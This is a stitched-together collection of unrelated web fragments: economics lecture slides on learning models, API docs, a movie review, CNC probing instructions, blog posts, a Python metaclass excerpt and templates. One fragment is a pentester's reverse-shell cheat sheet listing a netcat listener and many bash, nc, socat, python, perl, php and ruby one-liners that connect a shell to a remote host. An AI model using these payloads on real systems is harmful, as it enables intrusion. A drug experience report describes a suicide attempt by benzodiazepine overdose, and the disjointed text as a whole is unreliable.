│ 2.55172 │ 1 │ 10 │ 0.883707 │ 0.129018 │ 0.214128 │ 0.0117178 │ 0.0103963 │ │ 11 │ 999.0 │ 1 │ 11 │ 0.0 │ 0.214128 │ 0.214128 │ 0.0103963 │ 0.0103963 │ │ 12 │ 2.42026 │ 1 │ 12 │ 0.752253 │ 0.214128 │ 0.268664 │ 0.0103963 │ 0.00934272 │ │ 13 │ 2.61417 │ 1 │ 13 │ 0.946164 │ 0.268664 │ 0.331007 │ 0.00934272 │ 0.008483 │ │ 14 │ 2.53637 │ 1 │ 14 │ 0.868366 │ 0.331007 │ 0.376288 │ 0.008483 │ 0.00776818 │ │ 15 │ 2.46293 │ 1 │ 15 │ 0.746001 │ 0.376288 │ 0.405021 │ 0.00776818 │ 0.00716446 │ ├───────┼─────────┼────────┼───────┼────────────┼──────────────┼──────────────┼──────────────┼──────────────┤ │ 16 │ 999.0 │ 2 │ 1 │ 0.0 │ 0.0 │ 0.0 │ 0.106297 │ 0.106297 │ │ 17 │ 999.0 │ 2 │ 2 │ 0.0 │ 0.0 │ 0.0 │ 0.106297 │ 0.106297 │ │ 18 │ 999.0 │ 2 │ 3 │ 0.0 │ 0.0 │ 0.0 │ 0.106297 │ 0.106297 │ │ 19 │ 1.36035 │ 2 │ 4 │ -0.019122 │ 0.0 │ -0.0102407 │ 0.106297 │ 0.0493702 │ │ 20 │ 1.2062 │ 2 │ 5 │ -0.259337 │ -0.0102407 │ -0.0971167 │ 0.0493702 │ 0.0321516 │ ``` ] --- # Why learning is important - Uncertainty and learning can explain some empirical puzzles - Why engage in something costly and not finish it? (e.g. college) - Agents might act differently if they have greater amounts of information - This means we need to model how beliefs map into actions - Thus, .hi[learning should be part of a dynamic choice model] - A persistent question is how can we help agents become more informed? - Information is valuable, but usually costly to obtain. How can we lower that cost? --- # Papers that use learning models - Education: - High school dropout (Fu, Grau, and Rivera, 2020) - College dropout (Stinebrickner and Stinebrickner, 2014a; Arcidiacono, Aucejo, Maurel, and Ransom, 2016) - College major choice (Arcidiacono, 2004; Stinebrickner and Stinebrickner, 2014b) --- # Papers that use learning models - Labor: - Occupational choice (Miller, 1984; James, 2011) - Employee quality (Farber and Gibbons, 1996; Altonji and Pierret, 2001) - Family: - Marriage match quality (Brien, Lillard, and Stern, 2006) - IO: - Learning about experience goods (Erdem and Keane, 1996; Ackerberg, 2003) --- # References .tinier[ Ackerberg, D. A. (2003). "Advertising, Learning, and Consumer Choice in Experience Good Markets: An Empirical Examination". In: _International Economic Review_ 44.3, pp. 1007-1040. DOI: [10.1111/1468-2354.t01-2-00098](https://doi.org/10.1111%2F1468-2354.t01-2-00098). Altonji, J. G. and C. R. Pierret (2001). "Employer Learning and Statistical Discrimination". In: _Quarterly Journal of Economics_ 116.1, pp. 313-350. DOI: [10.1162/003355301556329](https://doi.org/10.1162%2F003355301556329). Arcidiacono, P. (2004). "Ability Sorting and the Returns to College Major". In: _Journal of Econometrics_ 121, pp. 343-375. DOI: [10.1016/j.jeconom.2003.10.010](https://doi.org/10.1016%2Fj.jeconom.2003.10.010). Arcidiacono, P., E. Aucejo, A. Maurel, et al. (2016). _College Attrition and the Dynamics of Information Revelation_. Working Paper. Duke University. URL: [https://tyleransom.github.io/research/CollegeDropout2016May31.pdf](https://tyleransom.github.io/research/CollegeDropout2016May31.pdf). Arroyo Marioli, F., F. Bullano, S. Kucinskas, et al. (2020). _Tracking R of COVID-19: A New Real-Time Estimation Using the Kalman Filter_. Working Paper. medRxiv. DOI: [10.1101/2<IP_ADDRESS>71886](https://doi.org/10.1101%2F2<IP_ADDRESS>71886). Brien, M. J, L. A. Lillard, and S. Stern (2006). "Cohabitation, Marriage, and Divorce in a Model of Match Quality". In: _International Economic Review_ 47.2, pp. 451-494. DOI: [10.1111/j.1468-2354.2006.00385.x](https://doi.org/10.1111%2Fj.1468-2354.2006.00385.x). Erdem, T. and M. P. Keane (1996). "Decision-Making under Uncertainty: Capturing Dynamic Brand Choice Processes in Turbulent Consumer Goods Markets". In: _Marketing Science_ 15.1, pp. 1-20. DOI: [10.1287/mksc.15.1.1](https://doi.org/10.1287%2Fmksc.15.1.1). Farber, H. S. and R. Gibbons (1996). "Learning and Wage Dynamics". In: _Quarterly Journal of Economics_ 111.4, pp. 1007-1047. DOI: [10.2307/2946706](https://doi.org/10.2307%2F2946706). Fu, C., N. Grau, and J. Rivera (2020). _Wandering Astray: Teenagers' Choices of Schooling and Crime_. Working Paper. University of Wisconsin-Madison. URL: [https://www.ssc.wisc.edu/~cfu/wander.pdf](https://www.ssc.wisc.edu/~cfu/wander.pdf). James, J. (2011). _Ability Matching and Occupational Choice_. Working Paper 11-25. Federal Reserve Bank of Cleveland. Miller, R. A. (1984). "Job Matching and Occupational Choice". In: _Journal of Political Economy_ 92.6, pp. 1086-1120. DOI: [10.1086/261276](https://doi.org/10.1086%2F261276). Stinebrickner, R. and T. Stinebrickner (2014a). "Academic Performance and College Dropout: Using Longitudinal Expectations Data to Estimate a Learning Model". In: _Journal of Labor Economics_ 32.3, pp. 601-644. DOI: [10.1086/675308](https://doi.org/10.1086%2F675308). Stinebrickner, R. and T. R. Stinebrickner (2014b). "A Major in Science? Initial Beliefs and Final Outcomes for College Major and Dropout". In: _Review of Economic Studies_ 81.1, pp. 426-472. DOI: [10.1093/restud/rdt025](https://doi.org/10.1093%2Frestud%2Frdt025). ]


Public Member Functions | |
| Packet (long flowId, long sizeBit) | |
| long | getFlowId () |
| long | getSizeBit () |
| long | getDepartureTime () |
| void | setFlowletId (int flowletId) |
| int | getFlowletId () |
| String | toString () |
Private Attributes | |
| int | flowletId |
| final long | flowId |
| final long | sizeBit |
| final long | departureTime |
The packet is the unit of transfer through the network. It must be part of a flow and have a fixed size.
| ch.ethz.systems.netbench.core.network.Packet.Packet | ( | long | flowId, |
| long | sizeBit | ||
| ) |
Construct a fixed-size packet belonging to a particular flow. The departure time is set to the current simulator time.
| flowId | Flow identifier |
| sizeBit | Total size of the packet in bits (must be total, as it is used by the link). |
| long ch.ethz.systems.netbench.core.network.Packet.getDepartureTime | ( | ) |
Retrieve the departure time (equal to the construction time) of the packet.
Implements ch.ethz.systems.netbench.core.network.PacketHeader.
| long ch.ethz.systems.netbench.core.network.Packet.getFlowId | ( | ) |
Retrieve immutable flow identifier.
Implements ch.ethz.systems.netbench.core.network.PacketHeader.
| int ch.ethz.systems.netbench.core.network.Packet.getFlowletId | ( | ) |
Retrieve the flowlet identifier of this packet.
Implements ch.ethz.systems.netbench.core.network.PacketHeader.
| long ch.ethz.systems.netbench.core.network.Packet.getSizeBit | ( | ) |
Retrieve the size of the packet in bits.
Implements ch.ethz.systems.netbench.core.network.PacketHeader.
| void ch.ethz.systems.netbench.core.network.Packet.setFlowletId | ( | int | flowletId | ) |
Set the flowlet identifier of this packet.
| flowletId | Flowlet identifier to be set |
Implements ch.ethz.systems.netbench.core.network.PacketHeader.
| String ch.ethz.systems.netbench.core.network.Packet.toString | ( | ) |
Reimplemented in ch.ethz.systems.netbench.ext.basic.TcpPacket.
|
private |
|
private |
|
private |
|
private |


Class: PoseGenerator
- Inherits:
-
Rails::Generators::Base
- Object
- Rails::Generators::Base
- PoseGenerator
- Includes:
- Rails::Generators::Migration
- Defined in:
- lib/generators/pose_generator.rb
Class Method Summary (collapse)
Instance Method Summary (collapse)
Class Method Details
+ (Object) next_migration_number(path)
12 13 14 |
# File 'lib/generators/pose_generator.rb', line 12 def self.next_migration_number(path) Time.now.utc.strftime("%Y%m%d%H%M%S") end |
Instance Method Details
- (Object) create_migration_file
8 9 10 |
# File 'lib/generators/pose_generator.rb', line 8 def create_migration_file migration_template 'migration.rb', 'db/migrate/pose.rb' end |


Review: HAV PLENTY [Wanderlust Pictures]
Starring: Christopher Scott Cherot Cenoa Maxwell
Review by: Joy Wyse
This movie begins like an amateurish 8mm home movie , but soon at least the quality of the film stock improves. The characters have surnames such as Darling, Savage and PLENTY. It doesn't take a sleuth to realize that the lead female is HAViland Savage, the and lead male is PLENTY, Lee Plenty.
The plot basically concerns the lives of a nouveau-riche black family. Their money comes from computers, music, etc. Although they're rich, Haviland still has the mouth of a longshoreman, letting loose with f... this and f... , more than polite society would ever accept.
Plenty is a homeless guy who is house-sitting for Haviland and caring for her cat. She invites him to her parents' house for the weekend, and strangely, we never hear another word about that cat.
Haviland has just broken up with her boyfriend, a big time recording artist. We are meant to wonder whether she is still in love with him, or really desires Plenty. The other females seem to find Plenty irresistible, which is a bit hard to believe.
This was a very uneven film. I have to admit that there are some very funny moments, yet there was some very wooden acting. It is a sad state when you find yourself looking at the pimple on his forehead, or the beauty mark on the end of her nose. And, you keep wondering about her hair. It doesn't match from scene to scene, and you can't help noticing it.
I never knew where the plot was going, and I don't think that they did either. Surprisingly, it was a bit hit at the 1998 Sundance Film Festival.
It is not a film that I want to see again, not even on free TV.
I give it a C-
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
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to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Only works on TinyG Firmware 435.10 or higher.
When you run the auto-level job, your CNC machine will move to the Start At position defined in the Pre-Run tab (typically X0 Y0) and then slowly descend on the Z axis until the Z Min Switch circuit is completed. You must make sure that your Z Min Switch is wired correctly and has minimal noise on the wiring. The TinyG does seem extra sensitive to noise. It can help to twist your wires, like the way ethernet is twisted, up to the point where you need to connect one wire to the PCB and the other to the end mill.
The first point probed (the Start At position) will become your default Z0 position. A G28.2 Z0 command is issued after the first probe to set that as your Z0. All other probe locations are offsets of the first position.
It can help to run a test probe to make sure your Z Min Switch wiring is correct. When you click "run test probe" the command G38.2 Z-10 F5 is sent to the CNC controller. This will start moving your Z axis down very slowly at a 5 mm/min feedrate. You must have your wires connected correctly, or you could manually choose to touch your end mill wire (alligator clip) to the PCB board well before the Z axis reaches the PCB just to test that the G28.2 command stops the moment the circuit is completed.
The Z-10 in the command just means your Z axis will move down a maxium of 10mm before it gives up. You should make sure that you have your Z axis set such that the Z-10 gets far enough to actually touch the PCB if you want to do a true test of the end mill making electrical contact with the PCB.
Get ready on your E-Stop button in case your circuit does not complete. You can also use the red stop button in the TinyG widget to cancel the G38.2 command. That red stop button jumps ahead of any command and pauses the TinyG immediately. It works very well. Make sure to reset the TinyG planner buffer by hitting the % button afterwards.
During the probe process the matrix updates itself with the warpage. You can adjust the exaggeration of the warpage from the pulldown menu in the top toolbar.
You can do this from the upper right menu for this widget. Data is automatically saved into your recent file list after the probe process is done running.
You can do this from the upper right menu as well.


Video Lightning
Turn any element into a lightbox or popover link for Youtube and Vimeo videos. Includes access to all embed API options for both providers as well as a healthy set of style options. Popovers are intelligently positioned and allow users to preview videos on hover.
Why?
Lots of reasons. The main one, and the reason we built it, is for quick video explainers in the appropriate places. This little plugin bootstraps getting those helpful little videos in place.
How?
Simple. Add the js your project, initialize with target and options and enjoy your video lightbox enhanced element!
Features
- Simple access to all embed API options for both providers
- Lots of options to customize and beautify your lightboxes
- Intelligent popover auto positioning gravitates to page center
- Preview videos on hover, pin if you want them to stick around
- Lazy loading of videos prevents slow page load due to video embeds
- Rick Roll with ease (don't pass video id, add rickRoll option to prevent closing)
Demos
Those little purple links scattered throughout the page are the demos.
Docs
Docs can be found at the repo.
Contributing
- Fork it
- Create your feature branch (git checkout -b my-new-feature)
- Commit your changes (git commit -am 'Added some feature')
- Push to the branch (git push origin my-new-feature)
- Create new Pull Request
author: Andrew Carpenter, on behalf of the musocrat team


Nearly a year ago, two weeks before thanksgiving, I decided that life wasn't worth living; that I'd lived to the fullest and thrown it all into the toilet with the methamphetamines. That the antipsychotic stupor of the risperidone, prescribed to combat schizofrenic symptoms, was worse than death at my own hands.
I took a bottle of Lorazepam, the generic benzodiazepine solution to expensive name brand drugs like Ativan, lit some candles, ate a small last meal of tortillas and sour cream and prayed they'd meet the LD 50. I woke up in the hospital, reeking of urine and being told that I was lucky that I'd only had half the dose required to kill me.
I was treated to a state sponsored stay in the psychiatric ward on a 302, put on round the clock surveillance, no visitors, no smokes, nothing to drink but decaf coffee and rust-tainted city water. Given my case history presenting aural hallucinations from a lengthly crank addiction, the doc decided on Remeron (Mirtazapine, 15-30mg/daily), not an antipsycotic, but effective in schizofrenia case studies.
A year later, and the new doc says that Paxil is the way to go.
I haven't slept since the night of my last dose of Remeron. I'm running on three or four hours of interupted sleep each night. Hypomania was great the first few days, the body buzz, heat flashes. Now I'm tired, hungry, and unable to sleep. Haven't eaten in days, constant belly aches, feeling queasy. Dry mouth, fatigue, and back pain.
Remeron kept me alive, but it wasn't the breakthrough I was hoping for.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


{{ define "main" }}
Download the correct Red binary version for your computer from here (takes only a few seconds, it's less than 1MB). Save into a suitable folder.
For Windows users: Run it by double-clicking on the Red binary file.
It will then automatically build the Red GUI-console.
Next time you double-click on the file, the GUI-console will automatically open.
For Linux/OSX users: You need to open a terminal app to be able to run Red.
Once you have opened the terminal app, change to the directory in which you saved Red.
Now do a: chmod u+x
After that, run Red using ./
Next time you run Red, the console will automatically open.


Consider the following SLang 3 program:
program
Write down below the full data structure that represents the denoted value that the variable o is bound to after the last method call in the body of main is executed, that is, at the time the interpreter is about to return the value of this program.
The expected answer is the value of o, not a reference to that value.
Make sure to use double quotes (not single quotes) around each string in the answer, if any.
Remember that the default value for instance variables that never get explicitly assigned a value is -12345.


---
layout: post
title: Misadventures In Photography
tags:
- 4x5
- Articles
- Black and White
- film
- General Photography
- large format
- Wollensak
status: publish
type: post
published: true
meta:
aktt_notify_twitter: "yes"
_edit_lock: "1280679937"
tt_auto_tweet: "false"
_edit_last: "2"
tt_auto_tweet_text: "New blog post: [TITLE] [URL] "
aktt_tweeted: "1"
series_part: "37"
dsq_thread_id: "371433117"
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Here is what happens when I get frustrated in the dark - those marks on the top of the frame are fingernail marks from me saying "F THIS" after 10 minutes of screwing around with a 4x5 film holder that I thought I had "fixed" a year ago. No big deal it was just me screwing around with negatives for a new print process I am experimenting with. Since I had five other negatives I was developing at the same time I just chucked it in with the rest.
 Go ahead - after my fit of rage I get over it real quick and never take myself too seriously. Life is too short. The other thing I thought you might find amusing was a guy with so obviously little patience shoots large format - ha ha. People sometimes mistake my obsessiveness for patience - they are two very very different characteristics that have a tiny bit of overlap. Even you digital only people should find this amusing - in a different way.
So - why do I shoot large format then? It looks different. The tonality is unique. I can use beat up lenses with no coatings and are in the process of separating from the 1920's - with strange designs and stranger aberrations that also provide a very unique rendering. Take a look at this crop. The print from this would be about 4 feet high. This is also the grainiest film I shoot - really - it does not get much grainier than this in this developer. This film is even grainier than TRI-X (which is not really a grainy film contrary to popular urban legend - at least it has not been for decades).
Enjoy - The joke is on me.
RB
Ps - My P-O-S flatbed does no justice to large format - I print this stuff on real paper - sometimes paper I coat myself with platinum or other odd do-it-yourself processes.


| [ Team LiB ] |
5.4 MetaclassesAny object, even a class object, has a type. In Python, types and classes are also first-class objects. The type of a class object is also known as the class's metaclass.[1] An object's behavior is determined largely by the type of the object. This also holds for classes: a class's behavior is determined largely by the class's metaclass. Metaclasses are an advanced subject, and you may want to skip the rest of this chapter on first reading. However, fully grasping metaclasses can help you obtain a deeper understanding of Python, and sometimes it can even be useful to define your own custom metaclasses.
The distinction between classic and new-style classes relies on the fact that each class's behavior is determined by its metaclass. In other words, the reason classic classes behave differently from new-style classes is that classic and new-style classes are object of different types (metaclasses): class Classic: pass class Newstyle(object): pass print type(Classic) # prints: <type 'class'> print type(Newstyle) # prints: <type 'type'> The type of Classic is object types.ClassType from standard module types, while the type of Newstyle is built-in object type. type is also the metaclass of all Python built-in types, including itself (i.e., print type(type) also prints <type 'type'>). 5.4.1 How Python Determines a Class's MetaclassTo execute a class statement, Python first collects the base classes into a tuple t (an empty one, if there are no base classes) and executes the class body in a temporary dictionary d. Then, Python determines the metaclass M to use for the new class object C created by the class statement. When '_ _metaclass_ _' is a key in d, M is d['_ _metaclass_ _']. Thus, you can explicitly control class C's metaclass by binding the attribute _ _metaclass_ _ in C's class body. Otherwise, when t is non-empty (i.e., when C has one or more base classes), M is type(t[0]), the metaclass of C's first base class. This is why inheriting from object indicates that C is a new-style class. Since type(object) is type, a class C that inherits from object (or some other built-in type) gets the same metaclass as object (i.e., type(C), C's metaclass, is also type) Thus, being a new-style class is synonymous with having type as the metaclass. When C has no base classes, but the current module has a global variable named _ _metaclass_ _, M is the value of that global variable. This lets you make classes without base classes default to new-style classes, rather than classic classes, throughout a module. Just place the following statement toward the start of the module body: _ _metaclass_ = type Failing all of these, in Python 2.2 and 2.3, M defaults to types.ClassType. This last default of defaults clause is why classes without base classes are classic classes by default, when _ _metaclass_ _ is not bound in the class body or as a global variable of the module. 5.4.2 How a Metaclass Creates a ClassHaving determined M, Python calls M with three arguments: the class name (a string), the tuple of base classes t, and the dictionary d. The call returns the class object C, which Python then binds to the class name, completing the execution of the class statement. Note that this is in fact an instantiation of type M, so the call to M executes M._ _init_ _(C,namestring,t,d), where C is the return value of M._ _new_ _(M,namestring,t,d), just as in any other similar instantiation of a new-style class (or built-in type). After class object C is created, the relationship between class C and its type (type(C), normally M) is the same as that between any object and its type. For example, when you call class C (to create an instance of C), M._ _call_ _ executes, with class object C as the first actual argument. Note the benefit of the new-style approach described in Section <IP_ADDRESS> earlier in this chapter. Calling C to instantiate it must execute the metaclass's M._ _call_ _, whether or not C has a per-instance attribute (method) _ _call_ _ (i.e., independently of whether instances of C are or aren't callable). This requirement is simply incompatible with the classic object model, where per-instance methods override per-class ones—even for implicitly called special methods. The new-style approach avoids having to make the relationship between a class and its metaclass an ad hoc special case. Avoiding ad hoc special cases is a key to Python's power: Python has few, simple, general rules, and applies them consistently. <IP_ADDRESS> Defining and using your own metaclassesIt's easy to define metaclasses in Python 2.2 and later, by inheriting from type and overriding some methods. You can also perform most of these tasks with _ _new_ _, _ _init_ _, _ _getattribute_ _, and so on, without involving metaclasses. However, a custom metaclass can be faster, since special processing is done only at class creation time, which is a rare operation. A custom metaclass also lets you define a whole category of classes in a framework that magically acquires whatever interesting behavior you've coded, quite independently of what special methods the classes may choose to define. Moreover, some behavior of class objects can be customized only in metaclasses. The following example shows how to use a metaclass to change the string format of class objects: class MyMeta(type): def _ _str_ _(cls): return "Beautiful class '%s'"%cls._ _name_ _ class MyClass: _ _metaclass_ _ = MyMeta x = MyClass( ) print type(x) Strictly speaking, classes that instantiate your own custom metaclass are neither classic nor new-style: the semantics of classes and of their instances is entirely defined by their metaclass. In practice, your custom metaclasses will almost invariably subclass built-in type. Therefore, the semantics of the classes that instantiate them are best thought of as secondary variations with respect to the semantics of new-style classes. <IP_ADDRESS> A substantial custom metaclass exampleSuppose that, programming in Python, we miss C's struct type: an object that is just a bunch of data attributes with fixed names. Python lets us easily define an appropriate Bunch class, apart from the fixed names: class Bunch(object): def _ _init_ _(self, **fields): self._ _dict_ _ = fields p = Bunch(x=2.3, y=4.5) print p # prints: <_ _main_ _.Bunch object at 0x00AE8B10> However, a custom metaclass lets us exploit the fact that the attribute names are fixed at class creation time. The code shown in Example 5-1 defines a metaclass, metaMetaBunch, and a class, MetaBunch, that let us write code like the following: class Point(MetaBunch): """ A point has x and y coordinates, defaulting to 0.0, and a color, defaulting to 'gray' -- and nothing more, except what Python and the metaclass conspire to add, such as _ _init_ _ and _ _repr_ _ """ x = 0.0 y = 0.0 color = 'gray' # example uses of class Point q = Point( ) print q # prints: Point( ) p = Point(x=1.2, y=3.4) print p # prints: Point(y=3.399999999, x=1.2) In this code, the print statements print readable string representations of our Point instances. Point instances are also quite memory-lean, and their performance is basically the same as for instances of the simple class Bunch in the previous example (no extra overhead due to special methods getting called implicitly). Note that Example 5-1 is quite substantial, and following all its details requires understanding aspects of Python covered later in this book, such as strings (Chapter 9) and module warnings (Chapter 17). Example 5-1. The metaMetaBunch metaclassimport warnings class metaMetaBunch(type): """ metaclass for new and improved "Bunch": implicitly defines _ _slots_ _, _ _init_ _ and _ _repr_ _ from variables bound in class scope. A class statement for an instance of metaMetaBunch (i.e., for a class whose metaclass is metaMetaBunch) must define only class-scope data attributes (and possibly special methods, but NOT _ _init_ _ and _ _repr_ _!). metaMetaBunch removes the data attributes from class scope, snuggles them instead as items in a class-scope dict named _ _dflts_ _, and puts in the class a _ _slots_ _ with those attributes' names, an _ _init_ _ that takes as optional keyword arguments each of them (using the values in _ _dflts_ _ as defaults for missing ones), and a _ _repr_ _ that shows the repr of each attribute that differs from its default value (the output of _ _repr_ _ can be passed to _ _eval_ _ to make an equal instance, as per the usual convention in the matter, if each of the non-default-valued attributes respects the convention too) """ def _ _new_ _(cls, classname, bases, classdict): """ Everything needs to be done in _ _new_ _, since type._ _new_ _ is where _ _slots_ _ are taken into account. """ # define as local functions the _ _init_ _ and _ _repr_ _ that we'll # use in the new class def _ _init_ _(self, **kw): """ Simplistic _ _init_ _: first set all attributes to default values, then override those explicitly passed in kw. """ for k in self._ _dflts_ _: setattr(self, k, self._ _dflts_ _[k]) for k in kw: setattr(self, k, kw[k]) def _ _repr_ _(self): """ Clever _ _repr_ _: show only attributes that differ from the respective default values, for compactness. """ rep = ['%s=%r' % (k, getattr(self, k)) for k in self._ _dflts_ _ if getattr(self, k) != self._ _dflts_ _[k] ] return '%s(%s)' % (classname, ', '.join(rep)) # build the newdict that we'll use as class-dict for the new class newdict = { '_ _slots_ _':[ ], '_ _dflts_ _':{ }, '_ _init_ _':_ _init_ _, '_ _repr_ _':_ _repr_ _, } for k in classdict: if k.startswith('_ _') and k.endswith('_ _'): # special methods: copy to newdict, warn about conflicts if k in newdict: warnings.warn("Can't set attr %r in bunch-class %r" % (k, classname)) else: newdict[k] = classdict[k] else: # class variables, store name in _ _slots_ _, and name and # value as an item in _ _dflts_ _ newdict['_ _slots_ _'].append(k) newdict['_ _dflts_ _'][k] = classdict[k] # finally delegate the rest of the work to type._ _new_ _ return type._ _new_ _(cls, classname, bases, newdict) class MetaBunch(object): """ For convenience: inheriting from MetaBunch can be used to get the new metaclass (same as defining _ _metaclass_ _ yourself). """ _ _metaclass_ _ = metaMetaBunch |
| [ Team LiB ] |


Quite some time ago(early 2010) when I just began programming I had learned that it was a fairly common practice amongst programmers to keep an update code blog. Not knowing anything at all about web development or even what PHP stood for I did what most people assumed when they heard the word blog and jumped on WordPress. Although there is nothing wrong with using WordPress for a blogging platform, as a developer I quickly realized that I was not the targeted audience. However I would later learn that many developers do in fact build various plugins and themes for WordPress such as code syntax highlighters and site search engines. On the flipside of it though just being a passive end user of premade tools and widgets didn't allow me to actually gain any insight into the working internals of how to develop a site to host my coding progress. Yes there were times when I had to edit snippets of PHP and or change some Javascript every now and then but I was mostly just blindly following instructions out of ebooks and help forums. My old programming blog morphed into a nasty mashup of copy pasted code and I used all sorts of weird blog publishing software and quirky online editors just to update a single post on my site. I could remember it taking me several hours just to go from writing new content to finnally displaying on my code blog just because I knew nothing about how content was actually served on the web. I can't exactly remember when it was that I was browsing online one day for WordPress tutorials when I spotted a comment on a blog post that said something along the lines of "Do you really need a database connection just to fetch blog post which probably won't ever be updated after you've written it?". Something about that kinda pissed me off... I was thinking to myself "You know... why the heck do I need user auth and an entire content management system which I probably only use about 2% of its entire features anyways just to render some damn static html on a screen?" However given my skillset at the time(all I knew was C++ and a tiny sliver of HTML) I couldn't imagine writting every single line of HTML by hand and having to go through and update every single link on the site; not only would it be absurd but the sheer amount of wasted time could have been invested into just paying someone to build a site for me. In the meantime I had just discovered the wonders of version control and Git in particular when I came across an article about how GitHub.com handles its myraid number of web pages. It was something called Jekyll, a blog aware static site generator.
The basics of Jekyll are easy enough to figure out, you design a layout and run some ruby code to render all of your post which fit neatly into the _post directory of your app. From there you run the command "Jekyll" at the terminal at the root directory of your application and the _site folder is generated. Next you copy the _site directory to a web server and you're done. The overall no nonsense just write some markup or markdown, add css throw in some javascript and let Jekyll do the rest really made writing a blog a chore. As you can see from the github source for this blog the main layout is where all parts of the Jekyll app come together.
<!DOCTYPE html>   <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>Taywils.me | {{ page.title }}</title>  <link rel="stylesheet" href="/css/gcp/prettify.css" type="text/css"/> <link rel="stylesheet" href="/css/gcp/sons-of-obsidian.css" type="text/css"/> <link rel="stylesheet" href="/css/slides.css" type="text/css"/>  <link rel="stylesheet/less" href="/css/style.less" type="text/css"/>

 Blog

 Projects

 About

 {{ content }}

 Copyright © 2012 Demetrious Taylor Wilson. All rights reserved.

--- layout: default title: Homepage permalink: /index.html --- {% for post in site.posts %}

  {{ post.mydate }} | {{ post.title }}

  {{ post.description }}

  {% for tag in post.tags %}  {% endfor %}
 {% for catagory in post.catagories %} [{{ catagory }}] {% endfor %}

 {% endfor %}
From my perspective at least, getting up and running with Jekyll was simple and easy compared to having to learn about an entire database query language(MySQL) before you can access your posts.
Despite all of my cheerleading and praise I admit Jekyll was a bit confusing at times due to the usage of the liquid templating engine.
I had to sit down for a few hours and did through some documentation and browse source code of existing Jekyll blogs in order to understand the finer points of how pages are rendered from templates.
Even more confusing was that since HTML is readily generated when the _site directory is created you don't need to place inline javascript within the post itself(although there is nothing stopping you from doing so) all of your javascript can go in the layout and access DOM from posts as they are shown.
Anyhow I've talked way too much in this post already... enjoy your static site produced with Jekyll.
(NOTE: I realize that you can't compare an entire CMS to a static site generator but I'm only comparing them from a blogger's point of view)


Welcome to this unique site that allows you to set up values for your reverse shell payloads in a cheat sheet format that can be used in real-life scenarios. Powered by Lucian Nitescu, based on publicly available knowledge.
nc -nvlp 4444
bash -i >& /dev/tcp/<IP_ADDRESS>/4444 0>&1
nc -e /bin/sh <IP_ADDRESS> 4444
0<&196;exec 196<>/dev/tcp/<IP_ADDRESS>/4444; sh <&196 >&196 2>&196
socat tcp-connect:<IP_ADDRESS>:4444 exec:sh,pty,stderr,setsid,sigint,sane
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP_ADDRESS> 4444 > /tmp/f
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP_ADDRESS>","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("<IP_ADDRESS>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
TF=$(mktemp -u); mkfifo $TF && telnet <IP_ADDRESS> 4444 0<$TF | /bin/sh 1>$TF
ksh -c 'ksh -i > /dev/tcp/<IP_ADDRESS>/4444 2>&1 0>&1'
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<IP_ADDRESS>:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
| Question | Response |
|---|---|
| Why? | Because it helps me! As a pentester and security expert, I realized how many occasions I screwed up a payload. |
| Is this all yours? | No. Thanks to: highon.coffee; gtfobins.github.io; nitesculucian.github.io; ired.team! |
| Is this comprehensive? | No, and it does not aim for that. On this page, you will actually find payloads that helped me throughout my work and OSCP labs. |
| Can I add something? | Yes, just make a pull request. |
| Why the skeleton framework? | I wanted to give it a try and see if it is up to the task. |
| Contact? | Linkedin | Twitter | Facebook |


{% extends 'indabom/base.html' %} {% block head-title %}Free, Simple, Open Source BOM Management and Sourcing Tool{% endblock %} {% block title %}IndaBOM{% endblock %} {% block menu %} {% endblock %} {% block content %} {% load static %}
Many Product Lifecycle Management (PLM) tools have way more features than most people actually use, making the tool artificially expensive, and over complicated especially for hobbiests, startups, and freelancers. We keep Indabom simple, focusing on your bill of materials, component sourcing, and revision control.
Integrated with modern tools like Google Drive for free, quick, accessible and shareable access to your files, and Mouser to pull in the latest sourcing information and optimizing your BOM for cost.
Indabom was started because excel wasn't enough, and PLM and PDM tools were too complex. It's open source utilizing the Django web framework written in Python so you can participate in the development and contribute to the features and concepts.
All of your parts, organized, in one place. IndaBOM auto-generates internal part numbers with a simple defined, scalable numbering scheme. Add multiple manufacturer part numbers to a single part in your BOM. Add one, or many sellers, quotes, or prices for each manufacturer part.


{{ownerfound.firstName}} {{ownerfound.lastName}}
{{ownerfound.address.city}},{{ownerfound.address.country}}
{{ownerfound.email}}
www.jquery2dotnet.com
{{ownerfound.birthDate | date}} -->
delete
Cars
{{item.brand.brand}} {{item.brand.model}}
100"> {{item.description| slice:0:100}}
{{item.description}}
{{item.price}} €/day


---
layout: post
title: Java Cloud
date: 2013-07-15 12:54:00.000000000 +05:30
categories: []
tags:
- cloud computing
- JAVA Cloud
- Material
- Oracle Cloud
- technical
status: publish
type: post
published: true
meta:
blogger_bid: '2279754227642197645'
blogger_blog: ankurthetechie.blogspot.com
blogger_id: '8924967607364739758'
blogger_author: g116451164261752827176
blogger_comments: '0'
blogger_permalink: /2013/07/java-cloud.html
blogger_thumbnail: http://docs.oracle.com/cloud/CSJSU/img/ocjs_arch.jpg
author:
login: admin@reportlingo
email<EMAIL_ADDRESS>display_name: admin@reportlingo
first_name: Ankur
last_name: Gupta
excerpt: !ruby/object:Hpricot::Doc
options: {}
---
